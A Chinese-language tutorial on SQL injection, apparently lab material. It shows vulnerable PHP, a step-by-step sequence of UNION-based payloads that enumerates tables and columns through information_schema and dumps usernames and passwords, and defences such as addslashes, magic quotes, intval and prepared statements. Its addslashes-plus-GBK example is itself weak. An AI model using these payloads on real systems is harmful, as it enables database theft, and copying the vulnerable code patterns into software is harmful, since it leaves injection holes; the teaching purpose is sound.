SQL注入漏洞原理与防御-简化版

漏洞介绍

认识SQL注入漏洞

SQL注入漏洞可以说是在企业运营中会遇到的最具破坏性的漏洞之一，它也是目前被利用得最多的漏洞。要学会如何防御SQL注入，我们首先要对他的原理进行了解。
SQL注入（SQLInjection）是这样一种漏洞：当我们的Web app
在向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理，那么攻击者就可以构造特殊的SQL语句，直接输入数据库引擎执行，获取或修改数据库中的数据。

> - SQL注入漏洞的本质是把用户输入的数据当做代码来执行，违背了**“数据与代码分离”**的原则。
> - SQL注入漏洞有两个关键条件，理解这两个条件可以帮助我们理解并防御SQL注入漏洞：
>
> - 用户能控制输入的内容
> - Web应用执行的代码中，拼接了用户输入的内容

漏洞危害

> - 直接就造成数据库中的数据泄露
> - 如果数据库连接用户具备高权限，则可能导致攻击者获取服务器控制权

漏洞分析与防护

Part 1：漏洞实例

源码分析

该页面中是一个简单的漏洞源码示例，在接收到用户的提交数据后，对输入的内容没有任何过滤。所以我们通过简单的SQL注入语句构造就可以对数据库中的内容进行操作。我们先分析该页面的源代码：

```
<?php
include("sql-connections/sql-connect.php");
error_reporting(0);
$id = isset($_GET['id']) ? $_GET['id']:'1';
$sql="SELECT * FROM news WHERE id='$id'";
//用户输入完全未过滤，直接带入SQL语句，导致SQL注入
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
 if($row)
    {
```

```
    echo "<table class='table table-striped'>";
    echo '<tr><td>'. $row['title'].'</td></tr>  ';
   echo '<tr><td>' .$row['content'].'</td></tr>';
    echo "</table>";
    }
    else
    {
    echo "<br>";
    echo '<font color= "red">';
    print_r(mysql_error());
    echo "</font>";
    }
 ?>
```

在这段代码中，通过变量`"$sql"`来执行相应的SELECT语句，但是对用户输入的变量`"$id"`并没有任何处理,造成了SQL注入漏洞的产生。接下来，我们通过简单的测试，验证此处SQL注入的存在。

漏洞验证

- 首先，我们在输入的末端添加一个 ‘’’ 单引号，对输入内容进行闭合，并在之后添加判断语句:

```
' and 1=1 --+ //"--+或者#为注释符，用于截断原SQL语句末尾原有的单引号"
```

实现单引号绕过,服务端在接收到这段输入内容之后，执行的SQL语句就变为了：

```
select * from users where id='1' and 1=1 --+  //由于"and 1 = 1"是恒真的，所有查询的结果正常显示
```

![2.png-36.6kB][2]

这时，我们对输入的内容稍微修改，输入`'and 1=2 --+`服务端执行的SQL语句就变为了：

```
select * from users where id='1' and 1=2 --+ //此时，由于and 1=2恒为假，所以并没有返回信息，所以确定存在注入漏洞。
```

> 在验证漏洞存在之后，我们就可以进行各种语句的构造，操作数据库中的内容。以下实验内容，大家可以任意尝试。
>
> - 判断字段长度
>
> `'Order by 4`
>
> 服务端执行语句为:
>
> `select * from users where id='1' order by 4 --+`
>
> 通过Order by 函数判断列长度，由报错信息判断列长度小于4，继续向下尝试。

- 获取敏感信息

  `'and 1=2 union select 1,user(),database() --+`

  服务端执行语句为:

```
select * from users where id='1' and 1=2 union select 1,user(),database() --+
```

爆出服务端MySQL当前用户名，当前数据库名，可以利用数据库名进一步获取表名。

- 注入获取表名

`'and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=databas`

服务端执行语句为:

```
select * from users where id='1' and 1=2 union select 1,2,group_concat(table_name) from inform
ation_schema.tables where table_schema=database() --+
```

默认MySQL information_schema数据库中保存了数据库所有数据库表和列的信息，因此我用利用这个特性去查询表和列名。
获取到表名后，依旧利用information_schema数据库查询列名。

- 注入获取列名

  `' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users`

  服务端执行语句为:

```
select * from users where id='1'and 1=2 union select 1,2,group_concat(column_name) from inform
ation_schema.columns where table_name='users' --+
```

获取USER表,列名称。

- 注入获取用户数据

  `'and 1=2 union select 1,group_concat(name),group_concat(pass) from users --+`

  服务端执行语句为:

```
select * from users where id='1' and 1=2 union select 1,group_concat(name),group_concat(pass)
from users --+
```

通过group_concat获取所有用户数据，最终实现脱裤(得到数据库中的数据)。

漏洞防御

Web应用通常会使用输入过滤器作为防御SQL注入的一种方式。这些过滤器可能位于应用代码中(自定义输入验证方式），也可能在应用外部实现，形式为Web应用防火墙（WAF）或入侵防御系统(IPS)。

- 函数过滤

> - addslashes函数
>   addslashes() 函数在指定的预定义字符前添加反斜杠。这些字符是单引号（'）、双引号（"）、反斜线（\）与NUL（NULL字符）。
>   使用addslashes()函数过滤用户输入，实现防止注入。

以下，是使用addslashes()函数进行过滤之后的页面代码

```
<?php
include("sql-connections/sql-connect.php");
error_reporting(0);
$id=isset($_GET['id']) ? $_GET['id'] : '1';
$id=addslashes($id);
//安全转义
$gbk = "set names 'gbk'";
//设置MYSQL编码为GBK
mysql_query($gbk);
$sql="SELECT * FROM news WHERE id='$id'";
$result=mysql_query($sql);
```

```php
$row = mysql_fetch_array($result);
 if($row)
    {
    echo "<table class='table table-striped'>";
    echo '<tr><td>'. $row['title'].'</td></tr>  ';
   echo '<tr><td>' .$row['content'].'</td></tr>';
    echo "</table>";
    }
    else
    {
    echo "<br>";
    echo '<font color= "red">';
    print_r(mysql_error());
    echo "</font>";
    }
    }
 ?>
```

> 虽然使用addslash()函数，可以对用户输入的内容进行简单的过滤，但是如果只有这样简单的防御方式，并不能阻止攻击者的脚步

GPC/RUNTIME魔术引号

通常数据污染有两种方式，一种是应用被动接受参数，类似于GET,POST等；还有一种是主动获取参数，类似于读取远程页面或者文件内容等。所以防止SQL注入的方法就是要守住这两条路。

magic_quotes_gpc负责对GET,POST，COOKIE的值进行过滤，magic_quotes_runtime对从数据库或者文件中获取的数据进行过滤。通常在开启这两个选项之后能防住部分SQL注入漏洞被利用，因为我们之前也介绍了，在某些环境下存在绕过，在INT型注入上是没有多大作用的。

`在PHP.INI配置GPC RUTIME启用状态`

测试代码如下:

```php
<?php
echo ($_GET['ichunqiu']);
?>
```

GPC关闭状态下，GET请求未经过过滤显示。

GPC开启状态，自动对GET获取的数据进行了转义。

过滤函数和类

在PHP5.4之前，可以利用魔术引号来解决部分SQL注入的问题。而GPC在面对INT型注入时，也无法进行很好的防御。所以在通常的工作场景中，用得多的还是过滤函数和类。
不过如果单纯的过滤函数写得不够严谨，也会出现绕过的情况。这时候可以使用**预编译语句**来**绑定变量**，一般情况下这是防御SQL注入的最佳方式。

> **addslashes函数**

addslashes函数过滤的值范围和GPC是一样的，即单引号"`'`"、双引号"`"`"、反斜线"`\`"与NULL字符"`NULL`"。
addslashes只是一个简单的检查参数的函数，大多数程序使用它是在程序的入口进行判断。如果没有开启GPC，则使用它对`$_POST`/`$_GET`等变量进行过滤，不过它的参数必须是String类型，且在上面介绍了它在某些环境下有被绕过的风险。

> **intval等字符转换**

上面我们提到的过滤方式，在int类型注入时效果并不好，比如可以通过报错或者忙注等方式来绕过，这时候intval等函数就起作用了，intval的作用是将变量转换成int类型，这里举例intval是要表达一种方式，一种利用参数类型白名单的方式来防止漏洞。
测试代码：

```
<?php
$id=intval($id);
if($id)
{
  $sql="select * from users where uid=".$id;
  mysql_query($sql,$con);
}
```

测试效果如下： 将数据强制转换成为INT，避免了闭合单引号绕过的风险。